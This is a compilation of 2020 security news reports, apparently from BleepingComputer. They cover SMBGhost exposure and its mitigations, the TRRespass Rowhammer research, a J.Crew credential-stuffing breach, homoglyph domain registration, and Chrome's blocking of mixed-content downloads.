48K Windows Hosts Vulnerable to SMBGhost CVE-2020-0796 RCE Attacks 15.3.2020 BleepingcomputerAttack
After an Internet-wide scan, researchers at cybersecurity firm Kryptos Logic discovered roughly 48,000 Windows 10 hosts vulnerable to attacks targeting the pre-auth remote code execution CVE-2020-0796 vulnerability found in Microsoft Server Message Block 3.1.1 (SMBv3).
Several vulnerability scanners designed to detect Windows devices exposed to attacks are already available on GitHub, including one created by Danish security researcher ollypwn and designed to check if SMBv3 is enabled on the device and if the compression capability that triggers the bug is enabled.
The vulnerability, dubbed SMBGhost, is known to only impact desktop and server systems running Windows 10, version 1903 and 1909, as well as Server Core installations of Windows Server, versions 1903 and 1909.
Microsoft explains that "the vulnerability exists in a new feature that was added to Windows 10 version 1903" and that "older versions of Windows do not support SMBv3.1.1 compression."
ollypwn's CVE-2020-0796 scanner in action (server without and with mitigation) DoS proof-of-concept already demoed They also shared a demo video of a denial-of-service proof-of-concept exploit developed by researcher Marcus Hutchins (aka MalwareTech).
"The SMB bug appears trivial to identify, even without the presence of a patch to analyze," according to Kryptos Logic which means that malicious actors might soon be able to develop their own CVE-2020-0796 exploits.
While no malicious scans for Windows 10 hosts without mitigations put in place haven't yet been detected, the fact that PoC exploits have already been developed and the bug is so easy to analyze that it could lead to malicious attacks soon.
The CVE-2020-0796 pre-auth RCE vulnerability Microsoft publicly disclosed details about the SMBGhost vulnerability only after some security vendors part of the Microsoft Active Protections Program who get early access to vulnerability information released information during this month's Patch Tuesday.
After the news of a wormable pre-auth RCE vulnerability affecting SMBv3 spread, Microsoft published a security advisory with info on the leaked bug and mitigation measures designed to block potential attacks.
"Microsoft is aware of a remote code execution vulnerability in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests," the advisory reads. "An attacker who successfully exploited the vulnerability could gain the ability to execute code on the target SMB Server or SMB Client."
"To exploit the vulnerability against an SMB Server, an unauthenticated attacker could send a specially crafted packet to a targeted SMBv3 Server. To exploit the vulnerability against an SMB Client, an unauthenticated attacker would need to configure a malicious SMBv3 Server and convince a user to connect to it."
Microsoft shares mitigation measures for SMB servers As a workaround until a security update is released, Microsoft's advisory recommends disabling SMBv3 compression using this PowerShell (Admin) command (no reboot required, does not prevent the exploitation of SMB clients):
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force Additionally, enterprise customers are advised to block the TCP port 445 at the enterprise perimeter firewall to prevent attacks attempting to exploit the flaw.
"This can help protect networks from attacks that originate outside the enterprise perimeter," Redmond explains. "Blocking the affected ports at the enterprise perimeter is the best defense to help avoid Internet-based attacks."
"However, systems could still be vulnerable to attacks from within their enterprise perimeter," Microsoft adds.
We've just finished our first internet wide scan for CVE-2020-0796 and have identified 48000 vulnerable hosts. We'll be loading this data into Telltale for CERTs and organisations to action. We're also working on a blog post with more details (after patch).
— Kryptos Logic (@kryptoslogic) March 12, 2020
DDR4 Memory Still At Rowhammer Risk, New Method Bypasses Fixes 15.3.2020 BleepingcomputerAttack
Academic researchers testing modern memory modules from Samsung, Micron, and Hynix discovered that current protections against Rowhammer attacks are insufficient.
Current mitigation solutions are efficient against known Rowhammer variants but attack possibilities are not exhausted and exploitation is still possible.
The new findings show that memory bit flipping works on many devices, including popular smartphones from Google, Samsung, and OnePlus.
Rowhammer risk lingers on The attack works by taking advantage of the close proximity of memory cells available in a dynamic random access memory (DRAM).
By hammering one row with sufficient read-write operations, the value of the nearby data bits can change from one to zero and vice-versa (bit flipping). Current variants of the attack access two memory rows (called aggressors), at most.
This modification can lead to a denial-of-service condition, increased privileges on the machine, or it can even allow hijacking the system.
Rowhammer attacks have been demonstrated over time by compromising the Linux kernel, breaking cloud isolation, rooting mobile devices, taking control of web browsers, targeting server applications over the network, or extracting sensitive info stored in RAM.
The best defense to date is commonly referred to as Target Row Refresh (TRR) and it is supposed to eradicate the risk of Rowhammer attacks.
But there is little information about TRR, how it works, and how it is deployed by each vendor/manufacturer - because they need to protect proprietary technology.
Contrary to common belief, TRR is not a single mitigation mechanism, say researchers from VUSec (Systems and Network Security Group at VU Amsterdam).
It is an umbrella term that defines multiple solutions at various levels of the hardware stack and manufacturers took different routes to obtain the same result.
VUSec tested against all known Rowhammer variants a batch of 42 DDR4 modules that had TRR enabled and found that no bit flipping occurred, showing that the defenses were effective for the known attacks.
VUSec found that there are multiple implementations for TRR in DRAM chips from various vendors and that vulnerable cells are not distributed in the same way for every chip.
TRRespass - the Rowfuzzer With help from researchers at ETH Zurich, who provided SoftMC (an FPGA-based infrastructure), VUSec was able to experiment with DRAM chips and understand the internal operations.
This showed them that it is easy to flip the bits after understanding how the mitigation works. Also, they noticed that the vulnerability is worse on DDR4 chips than on DDR3 because of the difference in tolerated row activation counts, which is higher for the latter.
They found that current TRR implementations track a limited number of aggressor rows hammered by the attacker, two being the most used in currently demonstrated attacks.
"The mitigation clearly cannot keep the information about all accessed rows at the same time, since it would require an unaffordable amount of additional memory nor can it refresh all the victims" - VUSec
So they tried using more aggressor rows. With the newly-gained insight from experimenting with SoftMC, VUSec created a fuzzing tool they named TRResspass, "to identify TRR-aware RowHammer access patterns on modern systems."
"While fuzzing is a common technique in software testing, we implemented the first fuzzer aimed at triggering Rowhammer corruptions in DRAM" - VUSec
TRResspass is open source and works by repeatedly selecting random rows at various locations in DRAM. Starting from the initial hammering patterns produced by TRResspass, the researchers developed a broader class, which they call "Many-sided Rowhammer."
In a paper describing their research and results, VUSec says that their fuzzer recovered effective access patterns for 13 of the 42 memory modules they tested with the TRR protection enabled.
They emphasized that all the modules where TRResspass induced bit flips are vulnerable to at least two hammering patterns. Also, the patterns vary from one module to another.
Getting the fuzzer to work on low-power DDR4 modules in 13 smartphones, allowed it to successfully find Rowhammer patterns that induced bit flips in 5 models: Google Pixel, Google Pixel 3, LG G7 ThinQ, OnePlus 7, and Samsung Galaxy S10e (G970F/DS).
Exploiting the vulnerability with the more sophisticated patterns yielded impressive results, despite not tweaking the attacks for increased efficiency.
The worst time needed to obtain kernel privileges was three hours and 15 minutes, while the best was 2.3 seconds.
They were able to forge a signature from a trusted RSA-2048 key in up to 39 minutes (on other chips this was possible in a little over a minute).
Bypassing sudo permission checks was possible with just one memory module and took around 54 minutes of hammering.
VUSec published the research paper "TRRespass: Exploiting the Many Sides of Target Row Refresh" that provides extensive details about their findings and results achieved with TRResspass.
They disclosed the new type of Rowhammer attacks to all affected parties in November 2019 but new mitigations are not easy to implement and will take some time to deploy. The new method is now tracked as CVE2020-10255.
A statement from Intel says that VUSec's does not show a vulnerability in Intel CPUs and recommends contacting the memory chip supplier for appropriate mitigations.
"Enabling Error Correcting Code (ECC) and/or utilizing memory refresh rates greater than 1X can reduce susceptibility to this and other potential Rowhammer-style attacks" - Intel
Citing previous research (1, 2, 3), VUSec says that there are no reliable solutions older hardware against Rowhammer, and that "stopgap solutions such as using ECC and doubling (or even quadrupling) the refresh rate have proven ineffective." They showed in research published last year that ECC has its limitatations against this type of attack.
AMD also issued a statement, saying that their "microprocessor products include memory controllers designed to meet industry-standard DDR specifications."
J.Crew Disables User Accounts After Credential Stuffing Attack 7.3.2020 BleepingcomputerAttack
US clothing retailer J.Crew announced that it was the victim of a credential stuffing attack around April 2019 that led to some of its customers' accounts and information being accessed by hackers.
Credentials stuffing is a type of attack where hackers use large collections of username/password combinations bought from underground markets and leaked after previous security breaches and use them to gain access to user accounts on other online platforms.
The rate of success of such attacks is highly dependent on the common practice of users using the same email and password for multiple online accounts.
Their end goal is to log into as many accounts as possible onto the targeted site and take over the identities of the account owners, steal money, or gather information.
Accounts disabled after almost one year J.Crew Group is a retailer of apparel, shoes, and accessories that operates 182 J.Crew retail stores, 140 Madewell stores, 170 factory stores, and the jcrew.com, jcrewfactory.com, and madewell.com sites as of March 2, 2020.
In a notice of data breach sent to affected customers, J.Crew says that it discovered "through routine and proactive web scanning" that an unauthorized party was able to log in to their jcrew.com accounts using their email addresses and passwords "in or around April 2019."
"The information that would have been accessible in your jcrew.com account includes the last four digits of credit card numbers you have stored in your account, the expiration dates, card types, and billing addresses connected to those cards, and order numbers, shipping confirmation numbers, and shipment status of those orders," J.Crew's data breach notification explains.
"We do not have reason to believe that the unauthorized party gained access to any additional information within your account."
Customers asked to reset their passwords Following this incident, J.Crew has disabled the accounts of all impacted customers and asks them to reach out to the J. Crew Customer Care Center at privacy@jcrew.com or 800-205-7956 to reset their passwords.
"You should change your password on any other account where you use the same password discovered in this incident," J.Crew also advises affected customers.
Dunkin' Donuts was the victim of a similar attack a year ago. The company issued a security notification at the time notifying users of their DD Perks reward program that their accounts may have been compromised as part of a credential stuffing attack.
The attackers might have been able to access the account holders' first and last names, their email address, and the 16-digit DD Perks account number and QR code.
Walgreens, the second-largest drugstore chain in the US, also disclosed over the weekend that some of its mobile apps' users were able to accidentally access other users' personal info because of a bug including first and last name, prescription numbers and drug names, store numbers, and shipping addresses where applicable.
The company added that "no financial information such as Social Security number or bank account information was involved in this incident."
Zero-Day Bug Allowed Attackers to Register Malicious Domains 7.3.2020 BleepingcomputerAttack
A zero-day vulnerability impacting Verisign and several SaaS services including Google, Amazon, and DigitalOcean allowed potential attackers to register .com and .net homograph domain names (among others) that could be used in insider, phishing, and social-engineering attacks against organizations.
Before this was disclosed by Soluble security researcher Matt Hamilton in collaboration with security testing firm Bishop Fox to Verisign and SaaS services, anyone could register homograph domain names on gTLDs (.com, .net, and more) and subdomains within some SaaS companies using homoglyph characters.
"Some of these vendors were responsive and engaged in productive dialog, though others have not responded or did not want to fix the issue," Hamilton says.
At this time, only Verisign and Amazon (S3) have remediated this issue, with Verisign deploying changes to gTLD registration rules to block the registration of domains using these homoglyphs.
The issue was discovered by Hamilton after attempting to register domains using Latin homoglyph characters (i.e., Unicode Latin IPA Extension homoglyphs).
Homograph domains commonly used for malicious purposes Abusing this domain registration issue can lead to attacks very similar to IDN homograph attacks, presenting the same range of risks.
Homograph attacks are happening when threat actors register new domains that look very similar and sometimes look identical to those of known organizations and companies and assign them valid certificates.
They are usually used as part of scam campaigns that rely on these lookalike domains to redirect potential victims to sites delivering malware or attempting to steal their credentials.
While homograph attacks are nothing new and web browsers will expose them by replacing the Unicode characters with Punycode in the address bar, and Verisign and similar providers have rules in place that block the registration of homograph domains, the Unicode Latin IPA Extension character set wasn't blocked until Hamilton's disclosure.
Below you can find the Latin characters and some of the Unicode Latin IPA Extension homoglyph counterparts attackers could have used to register lookalike homograph domains.
• The “ɡ” (Voiced Velar Stop) is the most convincing character—near indistinguishable from its Latin counterpart. • The “ɑ” (Latin Alpha) is also very convincing, particularly when not adjacent to a Latin “a”. • The “ɩ” (Latin Iota) is the least convincing of the group. On some systems and fonts this character appears very similar to a lowercase “L”, but it’s more often the case that this character can be discerned from its Latin counterpart. Attackers started abusing this flaw in 2017 After registering a homograph domain or subdomain that's indistinguishable from the domain of a high profile company, attackers can launch any number of attacks that take advantage of this, including but not limited to highly targeted phishing and social-engineering attacks against the employees, customers, or users of the organization who's domain is spoofed.
"Between 2017 and today, more than a dozen homograph domains have had active HTTPS certificates," Hamilton says. "This included prominent financial, internet shopping, technology, and other Fortune 100 sites."
He also found that "third-parties had registered and generated HTTS certificates for 15 of the 300 tested domains using this homoglyph technique."
"Additionally, one instance of a homoglyph domain hosting an unofficial and presumed malicious jQuery library was found.
"There is no legitimate or non-fraudulent justification for this activity (excluding the research I conducted for this responsible disclosure)," Hamilton added.
The homograph domain names registered by abusing this bug were most probably used as part of highly targeted social-engineering campaigns directed at employees of high-profile government and privately held organizations rather than common phishing campaigns targeting random victims.
As part of the research process, Hamilton also registered the following homograph domains using Unicode Latin IPA Extension homoglyph characters to show the impact they could have if used for malicious purposes (some of them have already been transferred to the owners of the non-homograph domains):
Fixed by Verisign Verisign, the authoritative registry for the .com, .net, .edu, and several other generic top-level domains (gTLDs), has fixed the flaw and now restricts the registration of domains using these homoglyph characters, and it has also changed domain name registration rules by updating the table of allowed characters in newly registered domains.
"While the underlying issue described by Mr. Hamilton is well understood by the global Internet community – and is the subject of active policy development by ICANN – we appreciate him providing additional timely details about how this issue may be exploited," Verisign said in a statement.
"Although we understand that ICANN has been on a path to address these issues globally, we have also proactively updated our systems and obtained the necessary approval from ICANN to implement the changes to the .com and .net top-level domains required to prevent the specific types of confusable homograph registrations detailed in Mr. Hamilton’s report.
After disclosing the zero-day, a tool for generating domain permutations using these homoglyph characters and for checking Certificate Transparency logs was also created and is now available online.
More details and the full disclosure timeline can be found in Hamilton’s full report on this new type of homograph attack
Google Chrome to Block Mixed Content Downloads, Prevents MiTM Attacks 9.2.2020 BleepingcomputerAttack
Google is moving forward with its plan to block mixed content downloads from web sites to protect users from man-in-the-middle attacks.
In April 2019, we reported that Google was looking into blocking mixed content downloads, which are files delivered over insecure HTTP connection when they are first initiated from HTTPS websites.
In an announcement posted today, Google has outlined their plan of gradually rolling out this feature in Chrome by first displaying console warnings to the eventual blocking of all mixed content downloaded files.
Google states that they are blocking these types of downloads as they are a risk to a user's security and privacy as they could be swapped out or viewed in man-in-the-middle (MiTM) attacks.
"Insecurely-downloaded files are a risk to users' security and privacy. For instance, insecurely-downloaded programs can be swapped out for malware by attackers, and eavesdroppers can read users' insecurely-downloaded bank statements," Google stated in a blog post. "To address these risks, we plan to eventually remove support for insecure downloads in Chrome."
This feature will be gradually rolled out in the following upcoming Google Chrome releases:
Chrome 81 (released March 2020): Chrome will print a console message warning about all mixed content downloads. Chrome 82 (released April 2020): Chrome will warn on mixed content downloads of executables (e.g. .exe). Chrome 83 (released June 2020): Chrome will block mixed content executables, but warn on mixed content archives (.zip) and disk images (.iso). Chrome 84 (released August 2020): Chrome will block mixed content executables, archives, and disk images, but warn on all other mixed content downloads except image, audio, video and text formats. Chrome 85 (released September 2020): Chrome will warn on mixed content downloads of images, audio, video, and text and block all other mixed content downloads Chrome 86 (released October 2020): Chrome will block all mixed content downloads. This is illustrated in the following image:
Roadmap for the blocking of insecure Downloads Source: Google For Android and iOS users, the rollout will be delayed by one version with warnings starting in Chrome 83 as mobile devices have better native protection against downloaded files.
Google further states that they plan to further restrict insecure downloads in the future, which most likely means that they will block all downloads from insecure sites regardless of what type of site the download was initiated.
Testing the feature now For users who want to test this feature, Google has an experimental flag titled 'Treat risky downloads over insecure connections as active mixed content' that can be enabled in Chrome 80 and later.
Chrome flag Once enabled, if you attempt to initiate a download delivered over insecure HTTP connection when they are first initiated from HTTPS websites, you will see a warning stating "[executable].exe can't be downloaded securely."
Blocked mixed content download You can test this feature yourself, using this proof of concept page hosted at BleepingComputer.com.
.png)
.png)
.jpg)
